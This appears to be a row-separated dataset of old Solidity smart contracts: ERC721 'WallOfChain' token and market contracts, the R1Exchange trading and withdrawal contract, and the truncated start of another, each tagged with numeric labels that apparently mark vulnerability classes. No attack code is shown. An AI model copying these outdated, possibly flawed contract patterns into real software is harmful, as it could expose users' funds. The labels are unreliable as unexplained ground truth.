function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) private _tokenOwner;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => uint256) private _ownedTokensCount;
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
mapping(address => uint256[]) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) external view returns (string);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
string private _name;
string private _symbol;
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address tokenAddress,
uint256 tokenAmount
)
public
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
contract StructureInterface {
function getValue (uint256 _id) public view returns (uint256);
}
library StructuredLinkedList {
uint256 constant NULL = 0;
uint256 constant HEAD = 0;
bool constant PREV = false;
bool constant NEXT = true;
struct List {
mapping (uint256 => mapping (bool => uint256)) list;
}
function listExists(
List storage self
)
internal
view
returns (bool)
{
if (self.list[HEAD][PREV] != HEAD || self.list[HEAD][NEXT] != HEAD) {
return true;
} else {
return false;
}
}
function nodeExists(
List storage self,
uint256 _node
)
internal
view
returns (bool)
{
if (self.list[_node][PREV] == HEAD && self.list[_node][NEXT] == HEAD) {
if (self.list[HEAD][NEXT] == _node) {
return true;
} else {
return false;
}
} else {
return true;
}
}
function sizeOf(
List storage self
)
internal
view
returns (uint256)
{
bool exists;
uint256 i;
uint256 numElements;
(exists, i) = getAdjacent(self, HEAD, NEXT);
while (i != HEAD) {
(exists, i) = getAdjacent(self, i, NEXT);
numElements++;
}
return numElements;
}
function getNode(
List storage self,
uint256 _node
)
internal
view
returns (bool, uint256, uint256)
{
if (!nodeExists(self, _node)) {
return (false, 0, 0);
} else {
return (true, self.list[_node][PREV], self.list[_node][NEXT]);
}
}
function getAdjacent(
List storage self,
uint256 _node,
bool _direction
)
internal
view
returns (bool, uint256)
{
if (!nodeExists(self, _node)) {
return (false, 0);
} else {
return (true, self.list[_node][_direction]);
}
}
function getNextNode(
List storage self,
uint256 _node
)
internal
view
returns (bool, uint256)
{
return getAdjacent(self, _node, NEXT);
}
function getPreviousNode(
List storage self,
uint256 _node
)
internal
view
returns (bool, uint256)
{
return getAdjacent(self, _node, PREV);
}
function getSortedSpot(
List storage self,
address _structure,
uint256 _value
)
internal view returns (uint256)
{
if (sizeOf(self) == 0) {
return 0;
}
bool exists;
uint256 next;
(exists, next) = getAdjacent(self, HEAD, NEXT);
while (
(next != 0) && ((_value < StructureInterface(_structure).getValue(next)) != NEXT)
) {
next = self.list[next][NEXT];
}
return next;
}
function createLink(
List storage self,
uint256 _node,
uint256 _link,
bool _direction
)
internal
{
self.list[_link][!_direction] = _node;
self.list[_node][_direction] = _link;
}
function insert(
List storage self,
uint256 _node,
uint256 _new,
bool _direction
)
internal returns (bool)
{
if (!nodeExists(self, _new) && nodeExists(self, _node)) {
uint256 c = self.list[_node][_direction];
createLink(
self,
_node,
_new,
_direction
);
createLink(
self,
_new,
c,
_direction
);
return true;
} else {
return false;
}
}
function insertAfter(
List storage self,
uint256 _node,
uint256 _new
)
internal
returns (bool)
{
return insert(
self,
_node,
_new,
NEXT
);
}
function insertBefore(
List storage self,
uint256 _node,
uint256 _new
)
internal
returns (bool)
{
return insert(
self,
_node,
_new,
PREV
);
}
function remove(
List storage self,
uint256 _node
)
internal
returns (uint256)
{
if ((_node == NULL) || (!nodeExists(self, _node))) {
return 0;
}
createLink(
self,
self.list[_node][PREV],
self.list[_node][NEXT],
NEXT
);
delete self.list[_node][PREV];
delete self.list[_node][NEXT];
return _node;
}
function push(
List storage self,
uint256 _node,
bool _direction
)
internal
returns (bool)
{
return insert(
self,
HEAD,
_node,
_direction
);
}
function pop(
List storage self,
bool _direction
)
internal
returns (uint256)
{
bool exists;
uint256 adj;
(exists, adj) = getAdjacent(self, HEAD, _direction);
return remove(self, adj);
}
}
contract WallOfChainToken is ERC721Full, TokenRecover, MinterRole {
using StructuredLinkedList for StructuredLinkedList.List;
StructuredLinkedList.List list;
struct WallStructure {
uint256 value;
string firstName;
string lastName;
uint256 pattern;
uint256 icon;
}
bool public mintingFinished = false;
uint256 public progressiveId = 0;
mapping(uint256 => WallStructure) structureIndex;
modifier canGenerate() {
require(
!mintingFinished,
"Minting is finished"
);
_;
}
constructor(string _name, string _symbol) public
ERC721Full(_name, _symbol)
{}
function finishMinting() public onlyOwner canGenerate {
mintingFinished = true;
}
function newToken(
address _beneficiary,
uint256 _value,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
public
canGenerate
onlyMinter
returns (uint256)
{
uint256 tokenId = progressiveId.add(1);
_mint(_beneficiary, tokenId);
structureIndex[tokenId] = WallStructure(
_value,
_firstName,
_lastName,
_value == 0 ? 0 : _pattern,
_value == 0 ? 0 : _icon
);
progressiveId = tokenId;
uint256 position = list.getSortedSpot(StructureInterface(this), _value);
list.insertBefore(position, tokenId);
return tokenId;
}
function editToken (
uint256 _tokenId,
uint256 _value,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
public
onlyMinter
returns (uint256)
{
require(
_exists(_tokenId),
"Token must exists"
);
uint256 value = getValue(_tokenId);
if (_value > 0) {
value = value.add(_value);
list.remove(_tokenId);
uint256 position = list.getSortedSpot(StructureInterface(this), value);
list.insertBefore(position, _tokenId);
}
structureIndex[_tokenId] = WallStructure(
value,
_firstName,
_lastName,
value == 0 ? 0 : _pattern,
value == 0 ? 0 : _icon
);
return _tokenId;
}
function getWall (
uint256 _tokenId
)
public
view
returns (
address tokenOwner,
uint256 value,
string firstName,
string lastName,
uint256 pattern,
uint256 icon
)
{
require(
_exists(_tokenId),
"Token must exists"
);
WallStructure storage wall = structureIndex[_tokenId];
tokenOwner = ownerOf(_tokenId);
value = wall.value;
firstName = wall.firstName;
lastName = wall.lastName;
pattern = wall.pattern;
icon = wall.icon;
}
function getValue (uint256 _tokenId) public view returns (uint256) {
require(
_exists(_tokenId),
"Token must exists"
);
WallStructure storage wall = structureIndex[_tokenId];
return wall.value;
}
function getNextNode(uint256 _tokenId) public view returns (bool, uint256) {
return list.getNextNode(_tokenId);
}
function getPreviousNode(
uint256 _tokenId
)
public
view
returns (bool, uint256)
{
return list.getPreviousNode(_tokenId);
}
function burn(uint256 _tokenId) public {
address tokenOwner = isOwner() ? ownerOf(_tokenId) : msg.sender;
super._burn(tokenOwner, _tokenId);
list.remove(_tokenId);
delete structureIndex[_tokenId];
}
}
contract WallOfChainMarket is TokenRecover {
using SafeMath for uint256;
WallOfChainToken public token;
address public wallet;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 tokenId
);
event TokenEdit(
address indexed beneficiary,
uint256 value,
uint256 tokenId
);
constructor(address _wallet, WallOfChainToken _token) public {
require(
_wallet != address(0),
"Wallet can't be the zero address"
);
require(
_token != address(0),
"Token can't be the zero address"
);
wallet = _wallet;
token = _token;
}
function buyToken(
address _beneficiary,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
public
payable
{
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary);
weiRaised = weiRaised.add(weiAmount);
uint256 lastTokenId = _processPurchase(
_beneficiary,
weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
lastTokenId
);
_forwardFunds();
}
function editToken(
uint256 _tokenId,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
public
payable
{
address tokenOwner = token.ownerOf(_tokenId);
require(msg.sender == tokenOwner, "Sender must be token owner");
uint256 weiAmount = msg.value;
weiRaised = weiRaised.add(weiAmount);
uint256 currentTokenId = _processEdit(
_tokenId,
weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
emit TokenEdit(
tokenOwner,
weiAmount,
currentTokenId
);
_forwardFunds();
}
function changeWallet(address _newWallet) public onlyOwner {
require(
_newWallet != address(0),
"Wallet can't be the zero address"
);
wallet = _newWallet;
}
function _preValidatePurchase(
address _beneficiary
)
internal
pure
{
require(
_beneficiary != address(0),
"Beneficiary can't be the zero address"
);
}
function _processPurchase(
address _beneficiary,
uint256 _weiAmount,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
internal
returns (uint256)
{
return token.newToken(
_beneficiary,
_weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
}
function _processEdit(
uint256 _tokenId,
uint256 _weiAmount,
string _firstName,
string _lastName,
uint256 _pattern,
uint256 _icon
)
internal
returns (uint256)
{
return token.editToken(
_tokenId,
_weiAmount,
_firstName,
_lastName,
_pattern,
_icon
);
}
function _forwardFunds() internal {
if (msg.value > 0) {
wallet.transfer(msg.value);
}
}
} | 1 | 2,972 |
pragma solidity ^0.4.20;
contract SafeMath {
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract R1Exchange is SafeMath, Ownable {
mapping(address => bool) public admins;
mapping(address => bool) public feeAccounts;
bool public withdrawEnabled = false;
mapping(address => mapping(address => uint256)) public tokenList;
mapping(address => mapping(bytes32 => uint256)) public orderFilled;
mapping(bytes32 => bool) public withdrawn;
mapping(address => mapping(address => uint256)) public withdrawAllowance;
mapping(address => mapping(address => uint256)) public applyList;
mapping(address => mapping(address => uint)) public latestApply;
uint public applyWait = 7 days;
uint public feeRate = 1;
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance);
event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance);
event ApplyWithdraw(address indexed token, address indexed user, uint256 amount, uint256 time);
modifier onlyAdmin {
require(admins[msg.sender]);
_;
}
modifier isWithdrawEnabled {
require(withdrawEnabled);
_;
}
modifier isFeeAccount(address fa) {
require(feeAccounts[fa]);
_;
}
function() public {
revert();
}
function setAdmin(address admin, bool isAdmin) public onlyOwner {
require(admin != 0);
admins[admin] = isAdmin;
}
function setFeeAccount(address acc, bool asFee) public onlyOwner {
require(acc != 0);
feeAccounts[acc] = asFee;
}
function enableWithdraw(bool enabled) public onlyOwner {
withdrawEnabled = enabled;
}
function changeLockTime(uint lock) public onlyOwner {
require(lock <= 7 days);
applyWait = lock;
}
function changeFeeRate(uint fr) public onlyOwner {
require(fr > 0);
feeRate = fr;
}
function deposit() public payable {
tokenList[0][msg.sender] = safeAdd(tokenList[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokenList[0][msg.sender]);
}
function depositToken(address token, uint256 amount) public {
require(token != 0);
tokenList[token][msg.sender] = safeAdd(tokenList[token][msg.sender], amount);
require(Token(token).transferFrom(msg.sender, this, amount));
Deposit(token, msg.sender, amount, tokenList[token][msg.sender]);
}
function applyWithdraw(address token, uint256 amount) public {
uint256 apply = safeAdd(applyList[token][msg.sender], amount);
require(safeAdd(apply, withdrawAllowance[token][msg.sender]) <= tokenList[token][msg.sender]);
applyList[token][msg.sender] = apply;
latestApply[token][msg.sender] = block.timestamp;
ApplyWithdraw(token, msg.sender, amount, block.timestamp);
}
function approveWithdraw(address token, address user) public onlyAdmin {
withdrawAllowance[token][user] = safeAdd(withdrawAllowance[token][user], applyList[token][user]);
applyList[token][user] = 0;
latestApply[token][user] = 0;
}
function withdraw(address token, uint256 amount) public {
require(amount <= tokenList[token][msg.sender]);
if (amount > withdrawAllowance[token][msg.sender]) {
require(latestApply[token][msg.sender] != 0 && safeSub(block.timestamp, latestApply[token][msg.sender]) > applyWait);
withdrawAllowance[token][msg.sender] = safeAdd(withdrawAllowance[token][msg.sender], applyList[token][msg.sender]);
applyList[token][msg.sender] = 0;
}
require(amount <= withdrawAllowance[token][msg.sender]);
withdrawAllowance[token][msg.sender] = safeSub(withdrawAllowance[token][msg.sender], amount);
tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount);
latestApply[token][msg.sender] = 0;
if (token == 0) {
require(msg.sender.send(amount));
} else {
require(Token(token).transfer(msg.sender, amount));
}
Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]);
}
function withdrawNoLimit(address token, uint256 amount) public isWithdrawEnabled {
require(amount <= tokenList[token][msg.sender]);
tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount);
if (token == 0) {
require(msg.sender.send(amount));
} else {
require(Token(token).transfer(msg.sender, amount));
}
Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]);
}
function adminWithdraw(address[3] addresses, uint256[3] values, uint8 v, bytes32 r, bytes32 s)
public
onlyAdmin
isFeeAccount(addresses[2])
{
address user = addresses[0];
address token = addresses[1];
address feeAccount = addresses[2];
uint256 amount = values[0];
uint256 nonce = values[1];
uint256 fee = values[2];
require(amount <= tokenList[token][user]);
require(safeMul(fee, feeRate) < amount);
bytes32 hash = keccak256(user, token, amount, nonce);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user);
tokenList[token][user] = safeSub(tokenList[token][user], amount);
tokenList[token][feeAccount] = safeAdd(tokenList[token][feeAccount], fee);
amount = safeSub(amount, fee);
if (token == 0) {
require(user.send(amount));
} else {
require(Token(token).transfer(user, amount));
}
Withdraw(token, user, amount, tokenList[token][user]);
}
function getOrderHash(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address base, uint256 expires, uint256 nonce, address feeToken) public pure returns (bytes32) {
return keccak256(tokenBuy, amountBuy, tokenSell, amountSell, base, expires, nonce, feeToken);
}
function balanceOf(address token, address user) public constant returns (uint256) {
return tokenList[token][user];
}
struct Order {
address tokenBuy;
address tokenSell;
uint256 amountBuy;
uint256 amountSell;
address user;
uint256 fee;
uint256 expires;
uint256 nonce;
bytes32 orderHash;
address baseToken;
address feeToken;
}
function trade(
address[11] addresses,
uint256[11] values,
uint8[2] v,
bytes32[2] r,
bytes32[2] s
) public
onlyAdmin
isFeeAccount(addresses[10])
{
Order memory makerOrder = Order({
tokenBuy : addresses[0],
tokenSell : addresses[2],
user : addresses[4],
amountBuy : values[0],
amountSell : values[2],
fee : values[4],
expires : values[6],
nonce : values[8],
orderHash : 0,
baseToken : addresses[6],
feeToken : addresses[8]
});
Order memory takerOrder = Order({
tokenBuy : addresses[1],
tokenSell : addresses[3],
user : addresses[5],
amountBuy : values[1],
amountSell : values[3],
fee : values[5],
expires : values[7],
nonce : values[9],
orderHash : 0,
baseToken : addresses[7],
feeToken : addresses[9]
});
uint256 tradeAmount = values[10];
require(makerOrder.expires >= block.number && takerOrder.expires >= block.number);
require(makerOrder.baseToken == takerOrder.baseToken && makerOrder.tokenBuy == takerOrder.tokenSell && makerOrder.tokenSell == takerOrder.tokenBuy);
require(takerOrder.baseToken == takerOrder.tokenBuy || takerOrder.baseToken == takerOrder.tokenSell);
makerOrder.orderHash = getOrderHash(makerOrder.tokenBuy, makerOrder.amountBuy, makerOrder.tokenSell, makerOrder.amountSell, makerOrder.baseToken, makerOrder.expires, makerOrder.nonce, makerOrder.feeToken);
takerOrder.orderHash = getOrderHash(takerOrder.tokenBuy, takerOrder.amountBuy, takerOrder.tokenSell, takerOrder.amountSell, takerOrder.baseToken, takerOrder.expires, takerOrder.nonce, takerOrder.feeToken);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", makerOrder.orderHash), v[0], r[0], s[0]) == makerOrder.user);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", takerOrder.orderHash), v[1], r[1], s[1]) == takerOrder.user);
balance(makerOrder, takerOrder, addresses[10], tradeAmount);
}
function balance(Order makerOrder, Order takerOrder, address feeAccount, uint256 tradeAmount) internal {
require(safeMul(makerOrder.amountSell, takerOrder.amountSell) >= safeMul(makerOrder.amountBuy, takerOrder.amountBuy));
uint256 takerBuy = 0;
uint256 takerSell = 0;
if (takerOrder.baseToken == takerOrder.tokenBuy) {
uint256 makerAmount = safeSub(makerOrder.amountBuy, orderFilled[makerOrder.user][makerOrder.orderHash]);
uint256 takerAmount = safeSub(takerOrder.amountSell, orderFilled[takerOrder.user][takerOrder.orderHash]);
require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount);
takerSell = tradeAmount;
takerBuy = safeMul(makerOrder.amountSell, takerSell) / makerOrder.amountBuy;
orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerSell);
orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerSell);
} else {
takerAmount = safeSub(takerOrder.amountBuy, orderFilled[takerOrder.user][takerOrder.orderHash]);
makerAmount = safeSub(makerOrder.amountSell, orderFilled[makerOrder.user][makerOrder.orderHash]);
require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount);
takerBuy = tradeAmount;
takerSell = safeMul(makerOrder.amountBuy, takerBuy) / makerOrder.amountSell;
orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerBuy);
orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerBuy);
}
uint256 makerFee = chargeFee(makerOrder, feeAccount, takerSell);
uint256 takerFee = chargeFee(takerOrder, feeAccount, takerBuy);
tokenList[takerOrder.tokenSell][takerOrder.user] = safeSub(tokenList[takerOrder.tokenSell][takerOrder.user], takerSell);
tokenList[takerOrder.tokenBuy][takerOrder.user] = safeAdd(tokenList[takerOrder.tokenBuy][takerOrder.user], safeSub(takerBuy, takerFee));
tokenList[makerOrder.tokenSell][makerOrder.user] = safeSub(tokenList[makerOrder.tokenSell][makerOrder.user], takerBuy);
tokenList[makerOrder.tokenBuy][makerOrder.user] = safeAdd(tokenList[makerOrder.tokenBuy][makerOrder.user], safeSub(takerSell, makerFee));
}
function chargeFee(Order order, address feeAccount, uint256 amountBuy) internal returns (uint256){
uint256 classicFee = 0;
if (order.feeToken != 0) {
require(order.fee <= tokenList[order.feeToken][order.user]);
tokenList[order.feeToken][feeAccount] = safeAdd(tokenList[order.feeToken][feeAccount], order.fee);
tokenList[order.feeToken][order.user] = safeSub(tokenList[order.feeToken][order.user], order.fee);
} else {
classicFee = order.fee;
require(safeMul(order.fee, feeRate) <= amountBuy);
tokenList[order.tokenBuy][feeAccount] = safeAdd(tokenList[order.tokenBuy][feeAccount], order.fee);
}
return classicFee;
}
function batchTrade(
address[11][] addresses,
uint256[11][] values,
uint8[2][] v,
bytes32[2][] r,
bytes32[2][] s
) public onlyAdmin {
for (uint i = 0; i < addresses.length; i++) {
trade(addresses[i], values[i], v[i], r[i], s[i]);
}
}
function refund(address user, address[] tokens) public onlyAdmin {
for (uint i = 0; i < tokens.length; i++) {
address token = tokens[i];
uint256 amount = tokenList[token][user];
if (amount > 0) {
tokenList[token][user] = 0;
if (token == 0) {
require(user.send(amount));
} else {
require(Token(token).transfer(user, amount));
}
Withdraw(token, user, amount, tokenList[token][user]);
}
}
}
} | 1 | 5,253 |
pragma solidity ^0.5.7;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external;
function approve(address spender, uint256 value) external;
function transferFrom(address from, address to, uint256 value) external;
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
